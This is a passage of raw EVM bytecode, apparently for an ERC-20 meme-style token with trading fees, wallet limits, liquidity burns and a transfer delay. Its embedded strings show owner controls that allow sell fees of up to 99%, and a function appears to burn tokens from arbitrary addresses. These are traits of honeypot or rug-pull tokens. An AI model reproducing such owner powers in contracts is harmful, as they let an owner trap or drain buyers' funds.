0000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b611290612952565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b611370612952565b633b9aca006103e8600161138261127e565b61138c91906147ed565b6113969190614876565b6113a09190614876565b8110156113e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d990614919565b60405180910390fd5b670de0b6b3a7640000816113f691906147ed565b600b8190555050565b600061140c8484846129d0565b6114cd84611418612781565b6114c88560405180606001604052806028815260200161590260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061147e612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f49092919063ffffffff16565b612789565b600190509392505050565b6114e0612952565b60005b838390508110156115af5783838281811061150157611500614747565b5b905060200201602081019061151691906141e5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115949190614438565b60405180910390a380806115a7906147a5565b9150506114e3565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b60006116996115fd612781565b84611694856003600061160e612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272390919063ffffffff16565b612789565b6001905092915050565b6116ab612952565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117f5612952565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118bb612952565b610258831015611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f7906149ab565b60405180910390fd5b6103e88211158015611913575060008210155b611952576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194990614a3d565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b6000611989612952565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6119b3612952565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b611a42612952565b826018819055508160198190555080601a81905550601a54601954601854611a6a9190614a5d565b611a749190614a5d565b60178190555060196017541115611ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab790614aff565b60405180910390fd5b505050565b611acd612952565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611b69612952565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611b9590614716565b80601f0160208091040260200160405190810160405280929190818152602001828054611bc190614716565b8015611c0e5780601f10611be357610100808354040283529160200191611c0e565b820191906000526020600020905b815481529060010190602001808311611bf157829003601f168201915b5050505050905090565b601a5481565b611c26612952565b611c308282613558565b5050565b60105481565b60215481565b601e5481565b611c4e612952565b611c588282611e48565b5050565b6000611d1f611c69612781565b84611d1a8560405180606001604052806025815260200161592a6025913960036000611c93612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f49092919063ffffffff16565b612789565b6001905092915050565b60145481565b6000611d43611d3c612781565b84846129d0565b6001905092915050565b611d55612952565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e50612952565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611f47612952565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611fe4919061422d565b60405180910390a25050565b611ff8612952565b82601c8190555081601d8190555080601e81905550601e54601d54601c546120209190614a5d565b61202a9190614a5d565b601b819055506063601b541115612076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206d90614b6b565b60405180910390fd5b505050565b612083612952565b633b9aca006103e8600561209561127e565b61209f91906147ed565b6120a99190614876565b6120b39190614876565b8110156120f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ec90614bfd565b60405180910390fd5b633b9aca008161210591906147ed565b600a8190555050565b612116612952565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612184600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119ab565b50565b602360009054906101000a900460ff1681565b600b5481565b60006121aa612952565b620186a060016121b861127e565b6121c291906147ed565b6121cc9190614876565b82101561220e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220590614c8f565b60405180910390fd5b6103e8600a61221b61127e565b61222591906147ed565b61222f9190614876565b821115612271576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226890614d21565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600061231e612952565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b61234e612952565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b490614db3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b6000612490612952565b600f546010546124a09190614a5d565b42116124e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d890614e1f565b60405180910390fd5b6103e8821115612526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251d90614eb1565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161258a9190614542565b602060405180830381865afa1580156125a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125cb9190614ee6565b905060006125f66127106125e8868561372390919063ffffffff16565b61379d90919063ffffffff16565b9050600081111561263157612630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836137e7565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126ff57600080fd5b505af1158015612713573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846127329190614a5d565b905083811015612777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276e90614f5f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ef90614ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285e90615083565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129459190614438565b60405180910390a3505050565b61295a612781565b73ffffffffffffffffffffffffffffffffffffffff16612978613a7e565b73ffffffffffffffffffffffffffffffffffffffff16146129ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c5906150ef565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3690615181565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa590615213565b60405180910390fd5b60008103612ac757612ac2838360006137e7565b6134ef565b601560009054906101000a900460ff16156130de57612ae4611b0c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612b525750612b22611b0c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b8b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bc5575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bde5750600960149054906101000a900460ff16155b156130dd57601560019054906101000a900460ff16612cd857602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c985750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cce9061527f565b60405180910390fd5b5b602360009054906101000a900460ff1615612ea257612cf5611b0c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d7c57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612dd65750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612ea15743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5390615337565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f9557600b54811115612f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2f906153c9565b60405180910390fd5b600a54612f44836117a4565b82612f4f9190614a5d565b1115612f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f8790615435565b60405180910390fd5b6130dc565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661303057600b5481111561302b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613022906154c7565b60405180910390fd5b6130db565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166130da57600a5461308d836117a4565b826130989190614a5d565b11156130d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d090615435565b60405180910390fd5b5b5b5b5b5b60006130e9306117a4565b90506000600c54821015905080801561310e5750601560029054906101000a900460ff165b80156131275750600960149054906101000a900460ff16155b801561317d5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131d35750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613217576001600960146101000a81548160ff0219169083151502179055506131fb613a92565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156132405750601260009054906101000a900460ff165b156132505761324e85613c1a565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133065750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561331057600090505b600081156134df576000601b5411156133eb5761334b606461333d601b548861372390919063ffffffff16565b61379d90919063ffffffff16565b9050601b54601d548261335e91906147ed565b6133689190614876565b602060008282546133799190614a5d565b92505081905550601b54601e548261339191906147ed565b61339b9190614876565b602160008282546133ac9190614a5d565b92505081905550601b54601c54826133c491906147ed565b6133ce9190614876565b601f60008282546133df9190614a5d565b925050819055506134bb565b600060175411156134ba5761341e60646134106017548861372390919063ffffffff16565b61379d90919063ffffffff16565b90506017546019548261343191906147ed565b61343b9190614876565b6020600082825461344c9190614a5d565b92505081905550601754601a548261346491906147ed565b61346e9190614876565b6021600082825461347f9190614a5d565b925050819055506017546018548261349791906147ed565b6134a19190614876565b601f60008282546134b29190614a5d565b925050819055505b5b60008111156134d0576134cf8730836137e7565b5b80856134dc91906154e7565b94505b6134ea8787876137e7565b505050505b505050565b600083831115829061353c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613533919061415b565b60405180910390fd5b506000838561354b91906154e7565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036135c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135be9061558d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561364e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136459061561f565b60405180910390fd5b8160045461365c91906154e7565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546136b191906154e7565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516137169190614438565b60405180910390a3505050565b60008083036137355760009050613797565b6000828461374391906147ed565b90508284826137529190614876565b14613792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613789906156b1565b60405180910390fd5b809150505b92915050565b60006137df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cd8565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161384d90615181565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036138c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138bc90615213565b60405180910390fd5b6138d0838383613d3b565b61393c816040518060600160405280602681526020016158dc60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f49092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506139d181600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a719190614438565b60405180910390a3505050565b600080613a89613d40565b90508091505090565b6000613a9d306117a4565b90506000602154601f54602054613ab49190614a5d565b613abe9190614a5d565b9050600080831480613ad05750600082145b15613add57505050613c18565b6014600c54613aec91906147ed565b831115613b05576014600c54613b0291906147ed565b92505b600060028360205486613b1891906147ed565b613b229190614876565b613b2c9190614876565b90506000613b438286613de490919063ffffffff16565b90506000479050613b5382613e2e565b6000613b688247613de490919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613bc890615702565b60006040518083038185875af1925050503d8060008114613c05576040519150601f19603f3d011682016040523d82523d6000602084013e613c0a565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613c569190614542565b602060405180830381865afa158015613c73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c979190614ee6565b90506000613cb06011548361272390919063ffffffff16565b9050613cbb8461406b565b613ccd5760008114613ccc57600080fd5b5b600192505050919050565b60008083118290613d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d16919061415b565b60405180910390fd5b5060008385613d2e9190614876565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613dbb5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613ddf565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613e2683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506134f4565b905092915050565b6000600267ffffffffffffffff811115613e4b57613e4a615717565b5b604051908082528060200260200182016040528015613e795781602001602082028036833780820191505090505b5090503081600081518110613e9157613e90614747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613f36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f5a919061575b565b81600181518110613f6e57613f6d614747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613fd3307f000000000000000000000000000000000000000000000000000000000000000084612789565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401614035959493929190615881565b600060405180830381600087803b15801561404f57600080fd5b505af1158015614063573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156140fc5780820151818401526020810190506140e1565b8381111561410b576000848401525b50505050565b6000601f19601f8301169050919050565b600061412d826140c2565b61413781856140cd565b93506141478185602086016140de565b61415081614111565b840191505092915050565b600060208201905081810360008301526141758184614122565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006141b282614187565b9050919050565b6141c2816141a7565b81146141cd57600080fd5b50565b6000813590506141df816141b9565b92915050565b6000602082840312156141fb576141fa61417d565b5b6000614209848285016141d0565b91505092915050565b60008115159050919050565b61422781614212565b82525050565b6000602082019050614242600083018461421e565b92915050565b6000819050919050565b61425b81614248565b811461426657600080fd5b50565b60008135905061427881614252565b92915050565b600080604083850312156142955761429461417d565b5b60006142a3858286016141d0565b92505060206142b485828601614269565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f8401126142e3576142e26142be565b5b8235905067ffffffffffffffff811115614300576142ff6142c3565b5b60208301915083602082028301111561431c5761431b6142c8565b5b9250929050565b61432c81614212565b811461433757600080fd5b50565b60008135905061434981614323565b92915050565b6000806000604084860312156143685761436761417d565b5b600084013567ffffffffffffffff81111561438657614385614182565b5b614392868287016142cd565b935093505060206143a58682870161433a565b9150509250925092565b6000819050919050565b60006143d46143cf6143ca84614187565b6143af565b614187565b9050919050565b60006143e6826143b9565b9050919050565b60006143f8826143db565b9050919050565b614408816143ed565b82525050565b600060208201905061442360008301846143ff565b92915050565b61443281614248565b82525050565b600060208201905061444d6000830184614429565b92915050565b6000602082840312156144695761446861417d565b5b600061447784828501614269565b91505092915050565b6000806000606084860312156144995761449861417d565b5b60006144a7868287016141d0565b93505060206144b8868287016141d0565b92505060406144c986828701614269565b9150509250925092565b6000806000604084860312156144ec576144eb61417d565b5b600084013567ffffffffffffffff81111561450a57614509614182565b5b614516868287016142cd565b9350935050602061452986828701614269565b9150509250925092565b61453c816141a7565b82525050565b60006020820190506145576000830184614533565b92915050565b600060ff82169050919050565b6145738161455d565b82525050565b600060208201905061458e600083018461456a565b92915050565b6000806000606084860312156145ad576145ac61417d565b5b60006145bb86828701614269565b93505060206145cc86828701614269565b92505060406145dd8682870161433a565b9150509250925092565b600080604083850312156145fe576145fd61417d565b5b600061460c858286016141d0565b925050602061461d8582860161433a565b9150509250929050565b6000806000606084860312156146405761463f61417d565b5b600061464e86828701614269565b935050602061465f86828701614269565b925050604061467086828701614269565b9150509250925092565b6000602082840312156146905761468f61417d565b5b600061469e8482850161433a565b91505092915050565b600080604083850312156146be576146bd61417d565b5b60006146cc858286016141d0565b92505060206146dd858286016141d0565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061472e57607f821691505b602082108103614741576147406146e7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006147b082614248565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036147e2576147e1614776565b5b600182019050919050565b60006147f882614248565b915061480383614248565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561483c5761483b614776565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061488182614248565b915061488c83614248565b92508261489c5761489b614847565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614903602f836140cd565b915061490e826148a7565b604082019050919050565b60006020820190508181036000830152614932816148f6565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b60006149956033836140cd565b91506149a082614939565b604082019050919050565b600060208201905081810360008301526149c481614988565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614a276030836140cd565b9150614a32826149cb565b604082019050919050565b60006020820190508181036000830152614a5681614a1a565b9050919050565b6000614a6882614248565b9150614a7383614248565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614aa857614aa7614776565b5b828201905092915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614ae9601d836140cd565b9150614af482614ab3565b602082019050919050565b60006020820190508181036000830152614b1881614adc565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614b55601d836140cd565b9150614b6082614b1f565b602082019050919050565b60006020820190508181036000830152614b8481614b48565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614be76024836140cd565b9150614bf282614b8b565b604082019050919050565b60006020820190508181036000830152614c1681614bda565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614c796035836140cd565b9150614c8482614c1d565b604082019050919050565b60006020820190508181036000830152614ca881614c6c565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614d0b6032836140cd565b9150614d1682614caf565b604082019050919050565b60006020820190508181036000830152614d3a81614cfe565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d9d6026836140cd565b9150614da882614d41565b604082019050919050565b60006020820190508181036000830152614dcc81614d90565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614e096020836140cd565b9150614e1482614dd3565b602082019050919050565b60006020820190508181036000830152614e3881614dfc565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614e9b602a836140cd565b9150614ea682614e3f565b604082019050919050565b60006020820190508181036000830152614eca81614e8e565b9050919050565b600081519050614ee081614252565b92915050565b600060208284031215614efc57614efb61417d565b5b6000614f0a84828501614ed1565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614f49601b836140cd565b9150614f5482614f13565b602082019050919050565b60006020820190508181036000830152614f7881614f3c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614fdb6024836140cd565b9150614fe682614f7f565b604082019050919050565b6000602082019050818103600083015261500a81614fce565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061506d6022836140cd565b915061507882615011565b604082019050919050565b6000602082019050818103600083015261509c81615060565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006150d96020836140cd565b91506150e4826150a3565b602082019050919050565b60006020820190508181036000830152615108816150cc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061516b6025836140cd565b91506151768261510f565b604082019050919050565b6000602082019050818103600083015261519a8161515e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006151fd6023836140cd565b9150615208826151a1565b604082019050919050565b6000602082019050818103600083015261522c816151f0565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006152696016836140cd565b915061527482615233565b602082019050919050565b600060208201905081810360008301526152988161525c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006153216049836140cd565b915061532c8261529f565b606082019050919050565b6000602082019050818103600083015261535081615314565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006153b36035836140cd565b91506153be82615357565b604082019050919050565b600060208201905081810360008301526153e2816153a6565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061541f6013836140cd565b915061542a826153e9565b602082019050919050565b6000602082019050818103600083015261544e81615412565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468656